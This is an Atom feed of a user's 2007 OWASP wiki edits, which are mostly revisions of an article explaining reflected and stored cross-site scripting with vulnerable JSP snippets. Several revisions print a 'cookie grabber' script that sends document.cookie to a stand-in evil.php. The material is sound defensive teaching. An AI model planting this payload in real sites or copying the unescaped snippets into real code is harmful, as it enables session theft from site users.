<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Kcghost</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Kcghost"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Kcghost"/>
		<updated>2026-04-27T10:48:53Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-site-scripting&amp;diff=22364</id>
		<title>Talk:Cross-site-scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-site-scripting&amp;diff=22364"/>
				<updated>2007-10-12T00:49:28Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: New page: I propose that this article be deleted, since there is another copy of it that is in better format and has all the information this one has. Im not sure why this was created in the first p...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I propose that this article be deleted, since there is another copy of it that is in better format and has all the information this one has. Im not sure why this was created in the first place, nor am I really sure why there are 3 pages with the same name, but we should at least lessen that to two by deleting this one and eventually merge the two remaining. -Kcghost&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site-scripting&amp;diff=22363</id>
		<title>Cross-site-scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site-scripting&amp;diff=22363"/>
				<updated>2007-10-12T00:46:43Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: Undo revision 22362 by Kcghost (Talk) I have no idea how to delete an article, apparently an admin has to do it&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting attacks are an instantiation of injection problems, in which malicious scripts are injected into the otherwise benign and trusted web sites.&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
1. Data enters a Web application through an untrusted source, most frequently a web request.&lt;br /&gt;
2. The data is included in dynamic content that is sent to a web user without being validated for malicious code.&lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
Consequences&lt;br /&gt;
&lt;br /&gt;
* Confidentiality: The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies.&lt;br /&gt;
&lt;br /&gt;
* Access control: In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws&lt;br /&gt;
&lt;br /&gt;
Exposure Period&lt;br /&gt;
&lt;br /&gt;
* Implementation: If bulletin-board style functionality is present, cross-site scripting may only be deterred at implementation time.&lt;br /&gt;
&lt;br /&gt;
Platform&lt;br /&gt;
&lt;br /&gt;
* Language: Any&lt;br /&gt;
* Platform: All (requires interaction with a web server supporting dynamic content)&lt;br /&gt;
&lt;br /&gt;
Required Resources&lt;br /&gt;
&lt;br /&gt;
*Any&lt;br /&gt;
&lt;br /&gt;
Severity&lt;br /&gt;
&lt;br /&gt;
*Medium&lt;br /&gt;
&lt;br /&gt;
Likelihood of Exploit&lt;br /&gt;
&lt;br /&gt;
*Medium&lt;br /&gt;
&lt;br /&gt;
Discussion&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks can occur wherever an untrusted user has the ability to publish content to a trusted web site. Typically, a malicious user will craft a client-side script, which - when parsed by a web browser - performs some activity (such as sending all site cookies to a given E-mail address).&lt;br /&gt;
&lt;br /&gt;
If the input is unchecked, this script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.&lt;br /&gt;
&lt;br /&gt;
There are several other possible attacks, such as running &amp;quot;Active X&amp;quot; controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy; cookie theft is however by far the most common.&lt;br /&gt;
&lt;br /&gt;
All of these attacks are easily prevented by ensuring that no script tags - or for good measure, HTML tags at all - are allowed in data to be posted publicly.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.&lt;br /&gt;
&lt;br /&gt;
'''Example 1'''&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
       &amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt;&lt;br /&gt;
       ...&lt;br /&gt;
       Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
'''Example 2'''&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
       &amp;lt;%...&lt;br /&gt;
        Statement stmt = conn.createStatement();&lt;br /&gt;
        ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
        if (rs != null) {&lt;br /&gt;
         rs.next();&lt;br /&gt;
         String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
       %&amp;gt;&lt;br /&gt;
&lt;br /&gt;
       Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.&lt;br /&gt;
&lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.&lt;br /&gt;
   * A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.&lt;br /&gt;
&lt;br /&gt;
'''Example 3 (real)'''&lt;br /&gt;
&lt;br /&gt;
Taking guestbook as another example. If the application doesn't validate the input data, in a very easy way the attacker may try to steal the cookie from the  authenticated user. All the attacker has to do is to place in the comment field the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Threats==&lt;br /&gt;
&lt;br /&gt;
?&lt;br /&gt;
&lt;br /&gt;
==Related Attacks==&lt;br /&gt;
&lt;br /&gt;
*[[XSS Attacks]]&lt;br /&gt;
*[[Category:Injection Attack]]&lt;br /&gt;
*[[Invoking untrusted mobile code]]&lt;br /&gt;
&lt;br /&gt;
==Related Vulnerabilities==&lt;br /&gt;
&lt;br /&gt;
*[[Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Countermeasures==&lt;br /&gt;
&lt;br /&gt;
*[[Category:Input Validation]]&lt;br /&gt;
*[[HTML Entity Encoding]]&lt;br /&gt;
&lt;br /&gt;
==Categories==&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site-scripting&amp;diff=22362</id>
		<title>Cross-site-scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site-scripting&amp;diff=22362"/>
				<updated>2007-10-12T00:41:52Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: deleting (there is another copy of this article with better inofrmation)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=22348</id>
		<title>Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=22348"/>
				<updated>2007-10-11T12:51:42Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting attacks are an instantiation of injection problems, in which malicious scripts are injected into the otherwise benign and trusted web sites.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a Web application through an untrusted source, most frequently a web request. &lt;br /&gt;
#The data is included in dynamic content that is sent to a web user without being validated for malicious code. &lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
==Consequences ==&lt;br /&gt;
&lt;br /&gt;
*	Confidentiality: The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies.&lt;br /&gt;
&lt;br /&gt;
* Access control: In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws&lt;br /&gt;
&lt;br /&gt;
==Exposure Period ==&lt;br /&gt;
&lt;br /&gt;
* Implementation: If bulletin-board style functionality is present, cross-site scripting may only be deterred at implementation time.&lt;br /&gt;
&lt;br /&gt;
==Platform ==&lt;br /&gt;
&lt;br /&gt;
* Language: Any&lt;br /&gt;
&lt;br /&gt;
* Platform: All (requires interaction with a web server supporting dynamic content)&lt;br /&gt;
&lt;br /&gt;
==Required Resources ==&lt;br /&gt;
&lt;br /&gt;
Any&lt;br /&gt;
&lt;br /&gt;
==Severity ==&lt;br /&gt;
&lt;br /&gt;
Medium&lt;br /&gt;
&lt;br /&gt;
==Likelihood of Exploit ==&lt;br /&gt;
&lt;br /&gt;
Medium&lt;br /&gt;
&lt;br /&gt;
==Avoidance and Mitigation ==&lt;br /&gt;
&lt;br /&gt;
*	Implementation: Use a white-list style parsing routine to ensure that no posted content contains scripting tags.&lt;br /&gt;
*	Implementation: If certain characters such as less-than and greater-than ought to be allowed, make sure to escape them to their HTML entity equivalents prior to storing them.&lt;br /&gt;
&lt;br /&gt;
==Discussion ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks can occur wherever an untrusted user has the ability to publish content to a trusted web site. Typically, a malicious user will craft a client-side script, which - when parsed by a web browser - performs some activity (such as sending all site cookies to a given E-mail address).&lt;br /&gt;
&lt;br /&gt;
If the input is unchecked, this script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also. &lt;br /&gt;
&lt;br /&gt;
There are several other possible attacks, such as running &amp;quot;Active X&amp;quot; controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy; cookie theft is however by far the most common.&lt;br /&gt;
&lt;br /&gt;
All of these attacks are easily prevented by ensuring that no script tags - or for good measure, HTML tags at all - are allowed in data to be posted publicly. &lt;br /&gt;
&lt;br /&gt;
== Vulnerability Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. &lt;br /&gt;
&lt;br /&gt;
===Example 1=== &lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt; &lt;br /&gt;
	...&lt;br /&gt;
	Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
	&amp;lt;%... &lt;br /&gt;
	 Statement stmt = conn.createStatement();&lt;br /&gt;
	 ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
	 if (rs != null) {&lt;br /&gt;
	  rs.next(); &lt;br /&gt;
	  String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. &lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. &lt;br /&gt;
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. &lt;br /&gt;
&lt;br /&gt;
== Attack Examples ==&lt;br /&gt;
&lt;br /&gt;
'''Example 1 : Cookie Grabber'''&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Attacks==&lt;br /&gt;
&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[:Category:Injection Attack]]&lt;br /&gt;
* [[Invoking untrusted mobile code]]&lt;br /&gt;
&lt;br /&gt;
==Related Vulnerabilities==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related Countermeasures==&lt;br /&gt;
&lt;br /&gt;
*[[:Category:Input Validation]]&lt;br /&gt;
*[[HTML Entity Encoding]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Template:SecureSoftware}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=22347</id>
		<title>Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=22347"/>
				<updated>2007-10-11T12:50:15Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: Cleaning up and adding information from another article so I can delete the other article&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting attacks are an instantiation of injection problems, in which malicious scripts are injected into the otherwise benign and trusted web sites.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a Web application through an untrusted source, most frequently a web request. &lt;br /&gt;
#The data is included in dynamic content that is sent to a web user without being validated for malicious code. &lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
==Consequences ==&lt;br /&gt;
&lt;br /&gt;
*	Confidentiality: The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies.&lt;br /&gt;
&lt;br /&gt;
* Access control: In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws&lt;br /&gt;
&lt;br /&gt;
==Exposure Period ==&lt;br /&gt;
&lt;br /&gt;
* Implementation: If bulletin-board style functionality is present, cross-site scripting may only be deterred at implementation time.&lt;br /&gt;
&lt;br /&gt;
==Platform ==&lt;br /&gt;
&lt;br /&gt;
* Language: Any&lt;br /&gt;
&lt;br /&gt;
* Platform: All (requires interaction with a web server supporting dynamic content)&lt;br /&gt;
&lt;br /&gt;
==Required Resources ==&lt;br /&gt;
&lt;br /&gt;
Any&lt;br /&gt;
&lt;br /&gt;
==Severity ==&lt;br /&gt;
&lt;br /&gt;
Medium&lt;br /&gt;
&lt;br /&gt;
==Likelihood of Exploit ==&lt;br /&gt;
&lt;br /&gt;
Medium&lt;br /&gt;
&lt;br /&gt;
==Avoidance and Mitigation ==&lt;br /&gt;
&lt;br /&gt;
*	Implementation: Use a white-list style parsing routine to ensure that no posted content contains scripting tags.&lt;br /&gt;
*	Implementation: If certain characters such as less-than and greater-than ought to be allowed, make sure to escape them to their HTML entity equivalents prior to storing them.&lt;br /&gt;
&lt;br /&gt;
==Discussion ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks can occur wherever an untrusted user has the ability to publish content to a trusted web site. Typically, a malicious user will craft a client-side script, which - when parsed by a web browser - performs some activity (such as sending all site cookies to a given E-mail address).&lt;br /&gt;
&lt;br /&gt;
If the input is unchecked, this script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also. &lt;br /&gt;
&lt;br /&gt;
There are several other possible attacks, such as running &amp;quot;Active X&amp;quot; controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy; cookie theft is however by far the most common.&lt;br /&gt;
&lt;br /&gt;
All of these attacks are easily prevented by ensuring that no script tags - or for good measure, HTML tags at all - are allowed in data to be posted publicly. &lt;br /&gt;
&lt;br /&gt;
== Vulnerability Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. &lt;br /&gt;
&lt;br /&gt;
===Example 1=== &lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt; &lt;br /&gt;
	...&lt;br /&gt;
	Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
	&amp;lt;%... &lt;br /&gt;
	 Statement stmt = conn.createStatement();&lt;br /&gt;
	 ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
	 if (rs != null) {&lt;br /&gt;
	  rs.next(); &lt;br /&gt;
	  String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. &lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. &lt;br /&gt;
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. &lt;br /&gt;
&lt;br /&gt;
== Attack Examples ==&lt;br /&gt;
&lt;br /&gt;
'''Example 1 : Cookie Grabber'''&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Attacks==&lt;br /&gt;
&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[:Category:Injection Attack]]&lt;br /&gt;
* Invoking untrusted mobile code&lt;br /&gt;
&lt;br /&gt;
==Related Vulnerabilities==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related Countermeasures==&lt;br /&gt;
&lt;br /&gt;
*[[:Category:Input Validation]]&lt;br /&gt;
*[[HTML Entity Encoding]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Template:SecureSoftware}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
